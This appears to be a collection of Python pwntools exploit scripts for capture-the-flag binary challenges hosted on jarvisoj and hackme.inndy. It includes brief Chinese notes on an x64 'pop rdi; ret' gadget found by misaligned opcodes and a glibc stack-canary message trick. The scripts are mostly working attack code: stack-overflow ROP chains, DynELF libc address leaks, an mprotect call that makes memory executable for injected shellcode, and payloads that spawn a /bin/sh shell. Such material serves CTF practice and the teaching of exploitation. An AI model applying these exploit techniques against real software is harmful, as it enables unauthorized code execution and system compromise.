#!/usr/bin/env python

# coding=utf-8

from pwn import *

# context.log_level = "debug"

io = remote("pwn2.jarvisoj.com", 9880)

elf = ELF("./level4")

# plt.got

read_plt = elf.plt["read"]

write_plt = elf.plt["write"]

vuln_addr = 0x804844b

main_addr = 0x8048470

bss_addr = 0x804a024

def leak(address):

    payload = 'a' * (0x88+0x4)

    payload += p32(write_plt) + p32(vuln_addr)    # 能够循环利用漏洞

    payload += p32(1) + p32(address) + p32(4)    # data只要4个字节长度

    io.send(payload)

    data = io.recv(4)

    print "%#x => %s" % (address, (data or '').encode('hex'))

    return data

dyn = DynELF(leak,elf = ELF("./level4"))

sys_addr = dyn.lookup("__libc_system","libc")

# print hex(sys_addr)

payload = 'a' * (0x88 + 0x4)

payload += p32(read_plt) + p32(sys_addr)

payload += p32(1) + p32(bss_addr) + p32(10)

io.send(payload)

io.sendline("/bin/sh")

io.interactive()

#!/usr/bin/env python

# -*-coding=utf-8-*-

from pwn import *

context.log_level = "debug"

# io = remote("hackme.inndy.tw",7705)

io = process("./very_overflow")

elf = ELF("./very_overflow")

puts_addr = elf.plt["puts"]

puts_got = elf.got["puts"]

vuln_addr = 0x8048853

def debug():

    raw_input("Enter>>")

    # gdb.stop()

    gdb.attach(io)

def fill():

    sss = 'a' * 128

    for i in range(128):

        io.recvuntil("action: ")

        io.sendline("")

        io.recvuntil("note: ")

        io.sendline(sss)

def leak(address):

    count = 0

    data = ''

    fill()

    io.recvuntil("action: ")

    #

    io.sendline("")

    io.recvuntil("show: ")

    io.sendline("")

    io.recvuntil("action: ")

    io.sendline("")

    # mZ

    io.recvuntil("note: ")

    debug()

    payload = p32(0) + 'a' * 12

    payload += p32(puts_addr) + p32(vuln_addr) + p32(address)

    # debug()

    io.sendline(payload)

    # note id

    io.recvline()

    # puts

    up = ''

    while 1 :

        c = io.recv(1)

        count += 1

        if up == '\n' and c == '':

            data[-1] = '\x00'

            break

        else:

            data += c

        up = c

        print data

    data = data[:4]

    '''

    for i in range(4) :

        data += io.recv(numb = 1,timeout = 1)

    '''

    print "%#x => %s" % (address, (data or '').encode('hex'))

    return data

Dyn = DynELF(leak,elf = ELF("./very_overflow"))

sys_addr = Dyn.lookup("__libc_system","libc")

print hex(sys_addr)

'''

io.recvuntil("action: ")

io.sendline("3")

io.recvuntil("show: ")

io.sendline("127")

io.recvline()

switch_addr = io.recvline()[10:-1]

print switch_addr

'''

此外还有一个老司机才知道的x64 gadgets，就是 pop rdi，ret的gadgets。这个gadgets还是在这里，
但是是由opcode错位产生的。

如上的例子中4008A2、4008A4两句的字节码如下

0x41 0x5f 0xc3

意思是pop r15，ret，但是恰好pop rdi，ret的opcode如下

0x5f 0xc3

因此如果我们指向0x4008A3就可以获得pop rdi，ret的opcode，从而对于单参数函数可以直接获得执行

 

与此类似的，还有0x4008A1处的 pop rsi，pop r15，ret

那么这个有什么用呢？我们知道x64传参顺序是rdi,rsi,rdx,rcx。

所以rsi是第二个参数，我们可以在rop中配合pop rdi,ret来使用pop rsi，pop r15,ret
这样就可以轻松的调用2个参数的函数。

#!/usr/bin/env python

# -*-coding=utf-8-*-

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

io = process("./level5")

io = remote("pwn2.jarvisoj.com",9884)

libc = ELF("./libc-2.19.so")

elf = ELF("./level5")

# gdb.attach(io,"b * 0x400613")

# plt and got and libc for ready

write_plt = elf.plt["write"]

write_got = elf.got["write"]

read_plt = elf.plt["read"]

write_libc = libc.symbols["write"]

mprotect_libc = libc.symbols["mprotect"]

bss = 0x600a88

start = elf.symbols["main"]

# universe gadgets

pop_rbx_r15_ret = 0x4006aa

mov_rdx_call_r12 = 0x400690

def universe_gadgets(payload,arg1,arg2,arg3,call):

    payload += p64(pop_rbx_r15_ret)

    payload += p64(0) + p64(1)

    payload += p64(call) + p64(arg3) + p64(arg2) + p64(arg1)

    payload += p64(mov_rdx_call_r12)

    payload += 7 * p64(0xdeadbeef)

    return payload

'''

# leak the address of mprotect

payload = 'a' * (0x80 + 0x8)

payload = universe_gadgets(payload,1,write_got,8,write_plt)

payload += p64(start)

'''

# leak the address of mprotect

rdi_ret = 0x4006B3

rsi_ret = 0x4006B1

payload = 'a' * 0x88

payload += p64(rdi_ret) + p64(1)

payload += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)

payload += p64(write_plt) + p64(start)

io.recvuntil("put:\n")

io.send(payload)

write_addr = u64(io.recv(8))

mprotect_addr = write_addr - write_libc + mprotect_libc

print "mprotect_addr ->> " + hex(mprotect_addr)

# read the shellcode into bss

payload = 'a' * 0x88

payload += p64(rdi_ret) + p64(0)

payload += p64(rsi_ret) + p64(bss) + p64(0xdeadbeef)

payload += p64(read_plt) + p64(start)

shellcode = asm(shellcraft.amd64.sh())

io.recvuntil("put:\n")

io.send(payload)

io.send(shellcode + '\0')

print "read over"

# read the mprotect_addr to __gmon_start__

gmon = 0x600a70

payload = 'a' * 0x88

payload += p64(rdi_ret)

payload += p64(0)

payload += p64(rsi_ret) + p64(gmon) + p64(0xdeadbeef)

payload += p64(read_plt) + p64(start)

io.recvuntil("put:\n")

io.send(payload)

io.send(p64(mprotect_addr))

print 'f**k ok'

# change bss into 'rwx' with mprotect

payload = 'a' * 0x88

payload = universe_gadgets(payload,0x600000,0x1000,7,gmon)

payload += p64(start)

io.recvuntil("put:\n")

io.send(payload)

print "change successfully"

# read the bss to __libc_start_main

libc_start = 0x600a68

payload = 'a' * 0x88

payload += p64(rdi_ret)

payload += p64(0)

payload += p64(rsi_ret) + p64(libc_start) + p64(0xdeadbeef)

payload += p64(read_plt) + p64(start)

io.recvuntil("put:\n")

io.send(payload)

io.send(p64(bss))

# execv the shellcode

payload = 'a' * 0x88

payload += p64(libc_start) + p64(libc_start)

io.recvuntil("put:\n")

io.send(payload)

io.interactive()

io.close()

void

__attribute__ ((noreturn))

__stack_chk_fail (void) {

    __fortify_fail ("stack smashing detected");

}

void

__attribute__ ((noreturn))

__fortify_fail (msg)

   const char *msg; {

      /* The loop is added only to keep gcc happy. */

         while ()

              __libc_message (, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")

}

libc_hidden_def (__fortify_fail)

#!/usr/bin/env python

# -*-coding=utf-8-*-

from pwn import *

import time

context.log_level = 'debug'

# io = process("smashes")

io = remote("pwn.jarvisoj.com",9877)

payload = p64(0x400d21) * 0x200    # 200,201，···209···好像都是可以的

io.recvuntil("name?")

io.sendline(payload)

io.recvuntil("flag: ")

io.sendline()

io.recv()

time.sleep(0.5) # 在运行过程中发现即使相同的脚本也并不是每次都能成功，可能是最后没有接收到就结束了进程？
# 不是非常稳定，有时候不能触发canary。。。多试两次还是可以出来的

#!/usr/bin/env python

# -*-coding=utf-8-*-

from pwn import *

context.log_level = 'debug'

io = remote("pwn2.jarvisoj.com", 9876)

elf = ELF("./memory")

io.recvuntil("? : \n")

catflag = int(io.recvline(),16)

sys = elf.symbols["win_func"]

# print hex(address)

payload = 'a' * 0x17 + p32(sys) + p32(catflag) *2

io.recvuntil("> ")

io.sendline(payload)

# io.recv()

io.interactive()